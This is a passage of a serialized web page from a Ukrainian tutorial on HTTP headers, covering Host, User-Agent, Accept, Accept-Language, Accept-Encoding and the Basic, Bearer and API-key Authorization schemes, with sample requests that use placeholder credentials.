сервер",[4210,4256,4257,3762,4260,3762,4262,3762,4265],{},[3759,4258,4259],{},"Server",[3759,4261,3926],{},[3759,4263,4264],{},"Location",[3759,4266,4267],{},"Retry-After",[4192,4269,4270,4274,4277],{},[4210,4271,4272],{},[3785,4273,3805],{},[4210,4275,4276],{},"Описують тіло повідомлення",[4210,4278,4279,3762,4282,3762,4285],{},[3759,4280,4281],{},"Content-Type",[3759,4283,4284],{},"Content-Length",[3759,4286,4287],{},"Content-Encoding",[4289,4290,4291,4292,4295,4296,4299,4300,4303,4304,4306,4307,3762,4310,3762,4313,4316],"note",{},"У ",[3785,4293,4294],{},"HTTP\u002F2"," та ",[3785,4297,4298],{},"HTTP\u002F3"," деякі заголовки були замінені ",[3785,4301,4302],{},"псевдо-заголовками"," (починаються з ",[3759,4305,3930],{},"), наприклад ",[3759,4308,4309],{},":method",[3759,4311,4312],{},":path",[3759,4314,4315],{},":status",". Проте HTTP\u002F1.1 заголовки залишаються основою розуміння протоколу.",[3846,4318,4320],{"id":4319},"класифікація-за-призначенням","Класифікація за призначенням",[4186,4322,4323,4334],{},[4189,4324,4325],{},[4192,4326,4327,4330,4332],{},[4195,4328,4329],{},"Призначення",[4195,4331,4200],{},[4195,4333,4203],{},[4205,4335,4336,4356,4376,4397,4416,4433,4451,4469],{},[4192,4337,4338,4343,4346],{},[4210,4339,4340],{},[3785,4341,4342],{},"Автентифікація",[4210,4344,4345],{},"Ідентифікація та перевірка клієнта",[4210,4347,4348,3762,4350,3762,4353],{},[3759,4349,4071],{},[3759,4351,4352],{},"WWW-Authenticate",[3759,4354,4355],{},"Proxy-Authorization",[4192,4357,4358,4362,4365],{},[4210,4359,4360],{},[3785,4361,942],{},[4210,4363,4364],{},"Керування кешем клієнта та проксі",[4210,4366,4367,3762,4369,3762,4371,3762,4373],{},[3759,4368,3761],{},[3759,4370,3765],{},[3759,4372,3768],{},[3759,4374,4375],{},"Expires",[4192,4377,4378,4383,4386],{},[4210,4379,4380],{},[3785,4381,4382],{},"Умовні запити",[4210,4384,4385],{},"Запит ресурсу лише при певних умовах",[4210,4387,4388,3762,4391,3762,4394],{},[3759,4389,4390],{},"If-None-Match",[3759,4392,4393],{},"If-Modified-Since",[3759,4395,4396],{},"If-Match",[4192,4398,4399,4403,4406],{},[4210,4400,4401],{},[3785,4402,3817],{},[4210,4404,4405],{},"Узгодження формату відповіді",[4210,4407,4408,3762,4410,3762,4412,3762,4414],{},[3759,4409,4038],{},[3759,4411,4049],{},[3759,4413,4060],{},[3759,4415,4281],{},[4192,4417,4418,4423,4426],{},[4210,4419,4420],{},[3785,4421,4422],{},"Cookies",[4210,4424,4425],{},"Управління станом через cookies",[4210,4427,4428,3762,4430],{},[3759,4429,3926],{},[3759,4431,4432],{},"Cookie",[4192,4434,4435,4440,4443],{},[4210,4436,4437],{},[3785,4438,4439],{},"CORS",[4210,4441,4442],{},"Контроль міждоменних запитів",[4210,4444,4445,3762,4448],{},[3759,4446,4447],{},"Access-Control-Allow-Origin",[3759,4449,4450],{},"Origin",[4192,4452,4453,4458,4461],{},[4210,4454,4455],{},[3785,4456,4457],{},"Безпека",[4210,4459,4460],{},"Захист від атак",[4210,4462,4463,3762,4466],{},[3759,4464,4465],{},"Strict-Transport-Security",[3759,4467,4468],{},"Content-Security-Policy",[4192,4470,4471,4476,4479],{},[4210,4472,4473],{},[3785,4474,4475],{},"Проксі та шлюзи",[4210,4477,4478],{},"Інформація про проксі-сервери",[4210,4480,4481,3762,4484,3762,4487],{},[3759,4482,4483],{},"Via",[3759,4485,4486],{},"X-Forwarded-For",[3759,4488,4489],{},"Forwarded",[3820,4491],{},[3823,4493,4495],{"id":4494},"основні-заголовки-запитів-request-headers","Основні заголовки запитів (Request Headers)",[3828,4497,4498,4499,4502],{},"Заголовки запитів надсилає ",[3785,4500,4501],{},"клієнт"," до сервера для передачі інформації про себе, свої можливості та побажання щодо відповіді.",[3846,4504,4506],{"id":4505},"host-цільовий-домен","Host — Цільовий домен",[3828,4508,4509,4512,4513,4516,4517,3769],{},[3785,4510,4511],{},"Призначення:"," Вказує ",[3785,4514,4515],{},"домен та порт"," сервера, до якого надсилається запит. ",[3785,4518,4519],{},"Обов'язковий у HTTP\u002F1.1",[3828,4521,4522,4525,4526,4528],{},[3785,4523,4524],{},"Чому обов'язковий:"," Один IP-сервер може обслуговувати кілька доменів (virtual hosting). Заголовок ",[3759,4527,4016],{}," дозволяє серверу визначити, який сайт запитує клієнт.",[3828,4530,4531],{},[3785,4532,4533],{},"Приклад:",[3836,4535,4537],{"className":3913,"code":4536,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fusers HTTP\u002F1.1\nHost: api.example.com\n",[3759,4538,4539,4552],{"__ignoreMap":3844},[3919,4540,4541,4543,4546,4548,4550],{"class":3921,"line":3922},[3919,4542,3998],{"class":3997},[3919,4544,4545],{"class":3982}," \u002Fapi\u002Fusers ",[3919,4547,4004],{"class":3929},[3919,4549,4007],{"class":3982},[3919,4551,4011],{"class":4010},[3919,4553,4554,4556,4558],{"class":3921,"line":3937},[3919,4555,4016],{"class":3925},[3919,4557,3930],{"class":3929},[3919,4559,4021],{"class":3933},[3828,4561,4562],{},"Якщо використовується нестандартний порт:",[3836,4564,4566],{"className":3913,"code":4565,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fusers HTTP\u002F1.1\nHost: api.example.com:8080\n",[3759,4567,4568,4580],{"__ignoreMap":3844},[3919,4569,4570,4572,4574,4576,4578],{"class":3921,"line":3922},[3919,4571,3998],{"class":3997},[3919,4573,4545],{"class":3982},[3919,4575,4004],{"class":3929},[3919,4577,4007],{"class":3982},[3919,4579,4011],{"class":4010},[3919,4581,4582,4584,4586],{"class":3921,"line":3937},[3919,4583,4016],{"class":3925},[3919,4585,3930],{"class":3929},[3919,4587,4588],{"class":3933}," api.example.com:8080\n",[3846,4590,4592],{"id":4591},"user-agent-ідентифікація-клієнта","User-Agent — Ідентифікація клієнта",[3828,4594,4595,4597],{},[3785,4596,4511],{}," Ідентифікує клієнтський додаток (браузер, мобільний застосунок, бот), включаючи версію, ОС, рушій рендерингу.",[3828,4599,4600],{},[3785,4601,4602],{},"Приклад (Chrome на macOS):",[3836,4604,4606],{"className":3913,"code":4605,"language":3915,"meta":3844,"style":3844},"GET \u002F HTTP\u002F1.1\nHost: example.com\nUser-Agent: Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F126.0.0.0 Safari\u002F537.36\n",[3759,4607,4608,4621,4630],{"__ignoreMap":3844},[3919,4609,4610,4612,4615,4617,4619],{"class":3921,"line":3922},[3919,4611,3998],{"class":3997},[3919,4613,4614],{"class":3982}," \u002F ",[3919,4616,4004],{"class":3929},[3919,4618,4007],{"class":3982},[3919,4620,4011],{"class":4010},[3919,4622,4623,4625,4627],{"class":3921,"line":3937},[3919,4624,4016],{"class":3925},[3919,4626,3930],{"class":3929},[3919,4628,4629],{"class":3933}," example.com\n",[3919,4631,4632,4634,4636],{"class":3921,"line":4024},[3919,4633,4027],{"class":3925},[3919,4635,3930],{"class":3929},[3919,4637,4638],{"class":3933}," Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F126.0.0.0 Safari\u002F537.36\n",[3828,4640,4641],{},[3785,4642,4643],{},"Приклад (мобільний застосунок):",[3836,4645,4647],{"className":3913,"code":4646,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fposts HTTP\u002F1.1\nUser-Agent: MyApp\u002F2.5.0 (iOS 17.0; iPhone14,5) CFNetwork\u002F1408.0.4\n",[3759,4648,4649,4662],{"__ignoreMap":3844},[3919,4650,4651,4653,4656,4658,4660],{"class":3921,"line":3922},[3919,4652,3998],{"class":3997},[3919,4654,4655],{"class":3982}," \u002Fapi\u002Fv1\u002Fposts ",[3919,4657,4004],{"class":3929},[3919,4659,4007],{"class":3982},[3919,4661,4011],{"class":4010},[3919,4663,4664,4666,4668],{"class":3921,"line":3937},[3919,4665,4027],{"class":3925},[3919,4667,3930],{"class":3929},[3919,4669,4670],{"class":3933}," MyApp\u002F2.5.0 (iOS 17.0; iPhone14,5) CFNetwork\u002F1408.0.4\n",[3828,4672,4673],{},[3785,4674,4675],{},"Використання сервером:",[3746,4677,4678,4684,4690],{},[3749,4679,4680,4683],{},[3785,4681,4682],{},"Аналітика:"," визначення популярних браузерів та пристроїв.",[3749,4685,4686,4689],{},[3785,4687,4688],{},"Адаптивний контент:"," відправка спрощеної версії для старих браузерів.",[3749,4691,4692,4695],{},[3785,4693,4694],{},"Блокування ботів:"," фільтрація зловмисних краулерів.",[4697,4698,4699,4702,4705,4706,4709,4710,4713],"warning",{},[3785,4700,4701],{},"Privacy-сoncerns:",[4703,4704],"br",{},"\nUser-Agent може використовуватися для ",[3785,4707,4708],{},"фінгерпринтингу"," (ідентифікації користувача без cookies). Сучасні браузери рухаються до ",[3785,4711,4712],{},"User-Agent reduction"," — спрощення рядка для захисту приватності.",[3846,4715,4717],{"id":4716},"accept-бажаний-формат-відповіді","Accept — Бажаний формат відповіді",[3828,4719,4720,4512,4722,4725,4726,4139],{},[3785,4721,4511],{},[3785,4723,4724],{},"MIME-типи",", які клієнт може обробити. Сервер використовує цю інформацію для вибору формату відповіді (",[3785,4727,3817],{},[3828,4729,4730],{},[3785,4731,4732],{},"Синтаксис:",[3836,4734,4737],{"className":4735,"code":4736,"language":3841},[3839],"Accept: type\u002Fsubtype, type\u002Fsubtype;q=quality\n",[3759,4738,4736],{"__ignoreMap":3844},[3828,4740,4741,4742,4744,4745,4748],{},"Параметр ",[3759,4743,4138],{}," (quality) вказує ",[3785,4746,4747],{},"пріоритет"," від 0 до 1 (за замовчуванням 1).",[3828,4750,4751],{},[3785,4752,4753],{},"Приклад 1: Клієнт віддає перевагу JSON",[3836,4755,4757],{"className":3913,"code":4756,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fproducts HTTP\u002F1.1\nAccept: application\u002Fjson, application\u002Fxml;q=0.9, text\u002Fhtml;q=0.8, *\u002F*;q=0.1\n",[3759,4758,4759,4772],{"__ignoreMap":3844},[3919,4760,4761,4763,4766,4768,4770],{"class":3921,"line":3922},[3919,4762,3998],{"class":3997},[3919,4764,4765],{"class":3982}," \u002Fapi\u002Fv1\u002Fproducts ",[3919,4767,4004],{"class":3929},[3919,4769,4007],{"class":3982},[3919,4771,4011],{"class":4010},[3919,4773,4774,4776,4778],{"class":3921,"line":3937},[3919,4775,4038],{"class":3925},[3919,4777,3930],{"class":3929},[3919,4779,4780],{"class":3933}," application\u002Fjson, application\u002Fxml;q=0.9, text\u002Fhtml;q=0.8, *\u002F*;q=0.1\n",[3828,4782,4783],{},[3785,4784,4785],{},"Інтерпретація:",[3746,4787,4788,4794,4800,4806],{},[3749,4789,4790,4793],{},[3759,4791,4792],{},"application\u002Fjson"," (q=1.0 за замовчуванням) — найвища перевага.",[3749,4795,4796,4799],{},[3759,4797,4798],{},"application\u002Fxml"," (q=0.9) — прийнятно, якщо JSON недоступний.",[3749,4801,4802,4805],{},[3759,4803,4804],{},"text\u002Fhtml"," (q=0.8) — низька перевага.",[3749,4807,4808,4811],{},[3759,4809,4810],{},"*\u002F*"," (q=0.1) — будь-який інший формат як крайній варіант.",[3828,4813,4814],{},[3785,4815,4816],{},"Приклад 2: Браузер запитує HTML",[3836,4818,4820],{"className":3913,"code":4819,"language":3915,"meta":3844,"style":3844},"GET \u002Fabout HTTP\u002F1.1\nAccept: text\u002Fhtml, application\u002Fxhtml+xml, application\u002Fxml;q=0.9, image\u002Fwebp, *\u002F*;q=0.8\n",[3759,4821,4822,4835],{"__ignoreMap":3844},[3919,4823,4824,4826,4829,4831,4833],{"class":3921,"line":3922},[3919,4825,3998],{"class":3997},[3919,4827,4828],{"class":3982}," \u002Fabout ",[3919,4830,4004],{"class":3929},[3919,4832,4007],{"class":3982},[3919,4834,4011],{"class":4010},[3919,4836,4837,4839,4841],{"class":3921,"line":3937},[3919,4838,4038],{"class":3925},[3919,4840,3930],{"class":3929},[3919,4842,4843],{"class":3933}," text\u002Fhtml, application\u002Fxhtml+xml, application\u002Fxml;q=0.9, image\u002Fwebp, *\u002F*;q=0.8\n",[3828,4845,4846],{},[3785,4847,4848],{},"Відповідь сервера:",[3836,4850,4852],{"className":3913,"code":4851,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson; charset=utf-8\n\n{\"id\":42,\"name\":\"Product\"}\n",[3759,4853,4854,4869,4878,4884],{"__ignoreMap":3844},[3919,4855,4856,4858,4860,4863,4866],{"class":3921,"line":3922},[3919,4857,4004],{"class":3929},[3919,4859,4007],{"class":3982},[3919,4861,4862],{"class":4010},"1.1",[3919,4864,4865],{"class":4010}," 200",[3919,4867,4868],{"class":3933}," OK\n",[3919,4870,4871,4873,4875],{"class":3921,"line":3937},[3919,4872,4281],{"class":3925},[3919,4874,3930],{"class":3929},[3919,4876,4877],{"class":3933}," application\u002Fjson; charset=utf-8\n",[3919,4879,4880],{"class":3921,"line":4024},[3919,4881,4883],{"emptyLinePlaceholder":4882},true,"\n",[3919,4885,4886,4889,4893,4895,4898,4901,4904,4906,4909],{"class":3921,"line":4035},[3919,4887,4888],{"class":3982},"{",[3919,4890,4892],{"class":4891},"sLwNe","\"id\"",[3919,4894,3930],{"class":3982},[3919,4896,4897],{"class":4010},"42",[3919,4899,4900],{"class":3982},",",[3919,4902,4903],{"class":4891},"\"name\"",[3919,4905,3930],{"class":3982},[3919,4907,4908],{"class":3933},"\"Product\"",[3919,4910,4911],{"class":3982},"}\n",[3828,4913,4914,4915,4918],{},"Якщо сервер ",[3785,4916,4917],{},"не може"," надати жодного прийнятного формату:",[3836,4920,4922],{"className":3913,"code":4921,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 406 Not Acceptable\nContent-Type: application\u002Fjson\n\n{\"error\":\"Not Acceptable\",\"message\":\"Server supports only application\u002Fjson\"}\n",[3759,4923,4924,4938,4947,4951],{"__ignoreMap":3844},[3919,4925,4926,4928,4930,4932,4935],{"class":3921,"line":3922},[3919,4927,4004],{"class":3929},[3919,4929,4007],{"class":3982},[3919,4931,4862],{"class":4010},[3919,4933,4934],{"class":4010}," 406",[3919,4936,4937],{"class":3933}," Not Acceptable\n",[3919,4939,4940,4942,4944],{"class":3921,"line":3937},[3919,4941,4281],{"class":3925},[3919,4943,3930],{"class":3929},[3919,4945,4946],{"class":3933}," application\u002Fjson\n",[3919,4948,4949],{"class":3921,"line":4024},[3919,4950,4883],{"emptyLinePlaceholder":4882},[3919,4952,4953,4955,4958,4960,4963,4965,4968,4970,4973],{"class":3921,"line":4035},[3919,4954,4888],{"class":3982},[3919,4956,4957],{"class":4891},"\"error\"",[3919,4959,3930],{"class":3982},[3919,4961,4962],{"class":3933},"\"Not Acceptable\"",[3919,4964,4900],{"class":3982},[3919,4966,4967],{"class":4891},"\"message\"",[3919,4969,3930],{"class":3982},[3919,4971,4972],{"class":3933},"\"Server supports only application\u002Fjson\"",[3919,4974,4911],{"class":3982},[3846,4976,4978],{"id":4977},"accept-language-бажана-мова-контенту","Accept-Language — Бажана мова контенту",[3828,4980,4981,4512,4983,4986],{},[3785,4982,4511],{},[3785,4984,4985],{},"мову",", яку віддає перевагу клієнт. Сервер може повернути локалізований контент.",[3828,4988,4989],{},[3785,4990,4533],{},[3836,4992,4994],{"className":3913,"code":4993,"language":3915,"meta":3844,"style":3844},"GET \u002Fnews HTTP\u002F1.1\nAccept-Language: uk-UA, uk;q=0.9, en-US;q=0.8, en;q=0.7\n",[3759,4995,4996,5009],{"__ignoreMap":3844},[3919,4997,4998,5000,5003,5005,5007],{"class":3921,"line":3922},[3919,4999,3998],{"class":3997},[3919,5001,5002],{"class":3982}," \u002Fnews ",[3919,5004,4004],{"class":3929},[3919,5006,4007],{"class":3982},[3919,5008,4011],{"class":4010},[3919,5010,5011,5013,5015],{"class":3921,"line":3937},[3919,5012,4049],{"class":3925},[3919,5014,3930],{"class":3929},[3919,5016,5017],{"class":3933}," uk-UA, uk;q=0.9, en-US;q=0.8, en;q=0.7\n",[3828,5019,5020],{},[3785,5021,4785],{},[3746,5023,5024,5030,5036,5042],{},[3749,5025,5026,5029],{},[3759,5027,5028],{},"uk-UA"," (українська, Україна) — найвища перевага.",[3749,5031,5032,5035],{},[3759,5033,5034],{},"uk"," (українська, будь-який регіон) — q=0.9.",[3749,5037,5038,5041],{},[3759,5039,5040],{},"en-US"," (англійська, США) — q=0.8.",[3749,5043,5044,5047],{},[3759,5045,5046],{},"en"," (англійська, будь-який регіон) — q=0.7.",[3828,5049,5050],{},[3785,5051,4848],{},[3836,5053,5055],{"className":3913,"code":5054,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Language: uk-UA\nContent-Type: text\u002Fhtml; charset=utf-8\n\n\u003C!DOCTYPE html>\n\u003Chtml lang=\"uk\">\n\u003Chead>\u003Ctitle>Новини\u003C\u002Ftitle>\u003C\u002Fhead>\n...\n",[3759,5056,5057,5069,5079,5088,5092,5107,5128,5159],{"__ignoreMap":3844},[3919,5058,5059,5061,5063,5065,5067],{"class":3921,"line":3922},[3919,5060,4004],{"class":3929},[3919,5062,4007],{"class":3982},[3919,5064,4862],{"class":4010},[3919,5066,4865],{"class":4010},[3919,5068,4868],{"class":3933},[3919,5070,5071,5074,5076],{"class":3921,"line":3937},[3919,5072,5073],{"class":3925},"Content-Language",[3919,5075,3930],{"class":3929},[3919,5077,5078],{"class":3933}," uk-UA\n",[3919,5080,5081,5083,5085],{"class":3921,"line":4024},[3919,5082,4281],{"class":3925},[3919,5084,3930],{"class":3929},[3919,5086,5087],{"class":3933}," text\u002Fhtml; charset=utf-8\n",[3919,5089,5090],{"class":3921,"line":4035},[3919,5091,4883],{"emptyLinePlaceholder":4882},[3919,5093,5094,5098,5101,5104],{"class":3921,"line":4046},[3919,5095,5097],{"class":5096},"s0P7L","\u003C!",[3919,5099,5100],{"class":3929},"DOCTYPE",[3919,5102,5103],{"class":3929}," html",[3919,5105,5106],{"class":5096},">\n",[3919,5108,5109,5112,5115,5119,5122,5126],{"class":3921,"line":4057},[3919,5110,5111],{"class":5096},"\u003C",[3919,5113,5114],{"class":3925},"html",[3919,5116,5118],{"class":5117},"sa4r_"," lang",[3919,5120,5121],{"class":3982},"=",[3919,5123,5125],{"class":5124},"su9tN","\"uk\"",[3919,5127,5106],{"class":5096},[3919,5129,5130,5132,5135,5138,5141,5144,5147,5150,5152,5155,5157],{"class":3921,"line":4068},[3919,5131,5111],{"class":5096},[3919,5133,5134],{"class":3925},"head",[3919,5136,5137],{"class":5096},">\u003C",[3919,5139,5140],{"class":3925},"title",[3919,5142,5143],{"class":5096},">",[3919,5145,5146],{"class":3982},"Новини",[3919,5148,5149],{"class":5096},"\u003C\u002F",[3919,5151,5140],{"class":3925},[3919,5153,5154],{"class":5096},">\u003C\u002F",[3919,5156,5134],{"class":3925},[3919,5158,5106],{"class":5096},[3919,5160,5161],{"class":3921,"line":4079},[3919,5162,5163],{"class":3982},"...\n",[3846,5165,5167],{"id":5166},"accept-encoding-підтримувані-методи-стиснення","Accept-Encoding — Підтримувані методи стиснення",[3828,5169,5170,4512,5172,5175],{},[3785,5171,4511],{},[3785,5173,5174],{},"алгоритми стиснення",", які підтримує клієнт. Сервер може стиснути відповідь для економії пропускної здатності.",[3828,5177,5178],{},[3785,5179,4533],{},[3836,5181,5183],{"className":3913,"code":5182,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Flarge-dataset HTTP\u002F1.1\nAccept-Encoding: gzip, deflate, br\n",[3759,5184,5185,5198],{"__ignoreMap":3844},[3919,5186,5187,5189,5192,5194,5196],{"class":3921,"line":3922},[3919,5188,3998],{"class":3997},[3919,5190,5191],{"class":3982}," \u002Fapi\u002Fv1\u002Flarge-dataset ",[3919,5193,4004],{"class":3929},[3919,5195,4007],{"class":3982},[3919,5197,4011],{"class":4010},[3919,5199,5200,5202,5204],{"class":3921,"line":3937},[3919,5201,4060],{"class":3925},[3919,5203,3930],{"class":3929},[3919,5205,4065],{"class":3933},[3828,5207,5208],{},[3785,5209,5210],{},"Підтримувані алгоритми:",[3746,5212,5213,5219,5225,5230,5236],{},[3749,5214,5215,5218],{},[3785,5216,5217],{},"gzip"," — найпоширеніший, баланс між стисненням та швидкістю.",[3749,5220,5221,5224],{},[3785,5222,5223],{},"deflate"," — застарілий, рідко використовується.",[3749,5226,5227,5229],{},[3785,5228,4703],{}," (Brotli) — сучасний, кращий коефіцієнт стиснення, особливо для тексту.",[3749,5231,5232,5235],{},[3785,5233,5234],{},"compress"," — застарілий, не рекомендується.",[3749,5237,5238,5241],{},[3785,5239,5240],{},"identity"," — без стиснення (за замовчуванням).",[3828,5243,5244],{},[3785,5245,5246],{},"Відповідь сервера (зі стисненням):",[3836,5248,5250],{"className":3913,"code":5249,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nContent-Encoding: br\nContent-Length: 1234\nVary: Accept-Encoding\n\n[Brotli-стиснуті дані]\n",[3759,5251,5252,5264,5272,5281,5290,5300,5304],{"__ignoreMap":3844},[3919,5253,5254,5256,5258,5260,5262],{"class":3921,"line":3922},[3919,5255,4004],{"class":3929},[3919,5257,4007],{"class":3982},[3919,5259,4862],{"class":4010},[3919,5261,4865],{"class":4010},[3919,5263,4868],{"class":3933},[3919,5265,5266,5268,5270],{"class":3921,"line":3937},[3919,5267,4281],{"class":3925},[3919,5269,3930],{"class":3929},[3919,5271,4946],{"class":3933},[3919,5273,5274,5276,5278],{"class":3921,"line":4024},[3919,5275,4287],{"class":3925},[3919,5277,3930],{"class":3929},[3919,5279,5280],{"class":3933}," br\n",[3919,5282,5283,5285,5287],{"class":3921,"line":4035},[3919,5284,4284],{"class":3925},[3919,5286,3930],{"class":3929},[3919,5288,5289],{"class":3933}," 1234\n",[3919,5291,5292,5295,5297],{"class":3921,"line":4046},[3919,5293,5294],{"class":3925},"Vary",[3919,5296,3930],{"class":3929},[3919,5298,5299],{"class":3933}," Accept-Encoding\n",[3919,5301,5302],{"class":3921,"line":4057},[3919,5303,4883],{"emptyLinePlaceholder":4882},[3919,5305,5306,5309,5313,5316],{"class":3921,"line":4068},[3919,5307,5308],{"class":3982},"[",[3919,5310,5312],{"class":5311},"se1LK","Brotli-стиснуті",[3919,5314,5315],{"class":5311}," дані",[3919,5317,5318],{"class":3982},"]\n",[3828,5320,5321,5322,5325],{},"Заголовок ",[3759,5323,5324],{},"Vary: Accept-Encoding"," вказує, що відповідь залежить від заголовка запиту — важливо для коректного кешування проксі.",[5327,5328,5329,5332,5334,5335,5338,5339,5342,5343,3769],"tip",{},[3785,5330,5331],{},"Економія трафіку:",[4703,5333],{},"\nТекстові формати (JSON, HTML, CSS, JavaScript) ",[3785,5336,5337],{},"дуже добре стискаються"," (до 70-90% зменшення розміру). Завжди вмикайте ",[3759,5340,5341],{},"Accept-Encoding: gzip, br"," у клієнтах. Бінарні формати (зображення JPEG\u002FPNG, відео) вже стиснуті та не потребують ",[3759,5344,4287],{},[3846,5346,5348],{"id":5347},"authorization-автентифікація-клієнта","Authorization — Автентифікація клієнта",[3828,5350,5351,5353,5354,5357],{},[3785,5352,4511],{}," Передає ",[3785,5355,5356],{},"облікові дані"," клієнта для автентифікації на сервері.",[3828,5359,5360],{},[3785,5361,5362],{},"Схеми автентифікації:",[5364,5365,5367],"h4",{"id":5366},"_1-basic-authentication-застаріла-небезпечна-без-https","1. Basic Authentication (застаріла, небезпечна без HTTPS)",[3836,5369,5371],{"className":3913,"code":5370,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fusers\u002Fme HTTP\u002F1.1\nAuthorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=\n",[3759,5372,5373,5386],{"__ignoreMap":3844},[3919,5374,5375,5377,5380,5382,5384],{"class":3921,"line":3922},[3919,5376,3998],{"class":3997},[3919,5378,5379],{"class":3982}," \u002Fapi\u002Fv1\u002Fusers\u002Fme ",[3919,5381,4004],{"class":3929},[3919,5383,4007],{"class":3982},[3919,5385,4011],{"class":4010},[3919,5387,5388,5390,5392],{"class":3921,"line":3937},[3919,5389,4071],{"class":3925},[3919,5391,3930],{"class":3929},[3919,5393,5394],{"class":3933}," Basic dXNlcm5hbWU6cGFzc3dvcmQ=\n",[3828,5396,5397,5398,5401,5402,5405,5406,3930],{},"Значення після ",[3759,5399,5400],{},"Basic"," — це ",[3785,5403,5404],{},"Base64-кодування"," рядка ",[3759,5407,5408],{},"username:password",[3836,5410,5414],{"className":5411,"code":5412,"language":5413,"meta":3844,"style":3844},"language-bash shiki shiki-themes light-plus dark-plus dark-plus","echo -n \"username:password\" | base64\n# Результат: dXNlcm5hbWU6cGFzc3dvcmQ=\n","bash",[3759,5415,5416,5434],{"__ignoreMap":3844},[3919,5417,5418,5422,5425,5428,5431],{"class":3921,"line":3922},[3919,5419,5421],{"class":5420},"s8Opu","echo",[3919,5423,5424],{"class":3929}," -n",[3919,5426,5427],{"class":3933}," \"username:password\"",[3919,5429,5430],{"class":3982}," | ",[3919,5432,5433],{"class":5420},"base64\n",[3919,5435,5436],{"class":3921,"line":3937},[3919,5437,5439],{"class":5438},"spJ8K","# Результат: dXNlcm5hbWU6cGFzc3dvcmQ=\n",[5441,5442,5443,5446,5448,5449,5452,5453,5456],"danger",{},[3785,5444,5445],{},"Небезпека Basic Auth:",[4703,5447],{},"\nBase64 — це ",[3785,5450,5451],{},"НЕ шифрування",", а лише кодування. Будь-хто, хто перехопить трафік, може декодувати і отримати логін та пароль. ",[3785,5454,5455],{},"Використовуйте Basic Auth лише через HTTPS"," або ніколи.",[5364,5458,5460],{"id":5459},"_2-bearer-token-jwt-oauth-20","2. Bearer Token (JWT, OAuth 2.0)",[3828,5462,5463],{},"Найпоширеніший сучасний метод. Токен (зазвичай JWT) передається у заголовку:",[3836,5465,5467],{"className":3913,"code":5466,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Forders HTTP\u002F1.1\nHost: api.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJKb2huIERvZSIsImlhdCI6MTY5MzMxNTIwMCwiZXhwIjoxNjkzMzE4ODAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n",[3759,5468,5469,5482,5490],{"__ignoreMap":3844},[3919,5470,5471,5473,5476,5478,5480],{"class":3921,"line":3922},[3919,5472,3998],{"class":3997},[3919,5474,5475],{"class":3982}," \u002Fapi\u002Fv1\u002Forders ",[3919,5477,4004],{"class":3929},[3919,5479,4007],{"class":3982},[3919,5481,4011],{"class":4010},[3919,5483,5484,5486,5488],{"class":3921,"line":3937},[3919,5485,4016],{"class":3925},[3919,5487,3930],{"class":3929},[3919,5489,4021],{"class":3933},[3919,5491,5492,5494,5496],{"class":3921,"line":4024},[3919,5493,4071],{"class":3925},[3919,5495,3930],{"class":3929},[3919,5497,5498],{"class":3933}," Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJKb2huIERvZSIsImlhdCI6MTY5MzMxNTIwMCwiZXhwIjoxNjkzMzE4ODAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n",[3828,5500,5501,5504],{},[3785,5502,5503],{},"Структура JWT:"," три частини, розділені крапками:",[3851,5506,5507,5516,5525],{},[3749,5508,5509,5512,5513],{},[3785,5510,5511],{},"Header"," (алгоритм та тип): ",[3759,5514,5515],{},"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9",[3749,5517,5518,5521,5522],{},[3785,5519,5520],{},"Payload"," (дані користувача): ",[3759,5523,5524],{},"eyJzdWIiOiI0MiIsIm5hbWUi...",[3749,5526,5527,5530,5531],{},[3785,5528,5529],{},"Signature"," (підпис): ",[3759,5532,5533],{},"SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c",[3828,5535,5536],{},"Сервер перевіряє підпис, щоб переконатися, що токен не підроблений.",[5364,5538,5540],{"id":5539},"_3-api-key","3. API Key",[3828,5542,5543],{},"Деякі API використовують власний заголовок для ключа:",[3836,5545,5547],{"className":3913,"code":5546,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fweather HTTP\u002F1.1\nHost: weather-api.example.com\nX-API-Key: abc123def456ghi789\n",[3759,5548,5549,5562,5571],{"__ignoreMap":3844},[3919,5550,5551,5553,5556,5558,5560],{"class":3921,"line":3922},[3919,5552,3998],{"class":3997},[3919,5554,5555],{"class":3982}," \u002Fapi\u002Fv1\u002Fweather ",[3919,5557,4004],{"class":3929},[3919,5559,4007],{"class":3982},[3919,5561,4011],{"class":4010},[3919,5563,5564,5566,5568],{"class":3921,"line":3937},[3919,5565,4016],{"class":3925},[3919,5567,3930],{"class":3929},[3919,5569,5570],{"class":3933}," weather-api.example.com\n",[3919,5572,5573,5576,5578],{"class":3921,"line":4024},[3919,5574,5575],{"class":3925},"X-API-Key",[3919,5577,3930],{"class":3929},[3919,5579,5580],{"class":3933}," abc123def456ghi789\n",[3828,5582,5583],{},"Або у стандартному заголовку:",[3836,5585,5587],{"className":3913,"code":5586,"language":3915,"meta":3844,"style":3844},"Authorization: ApiKey 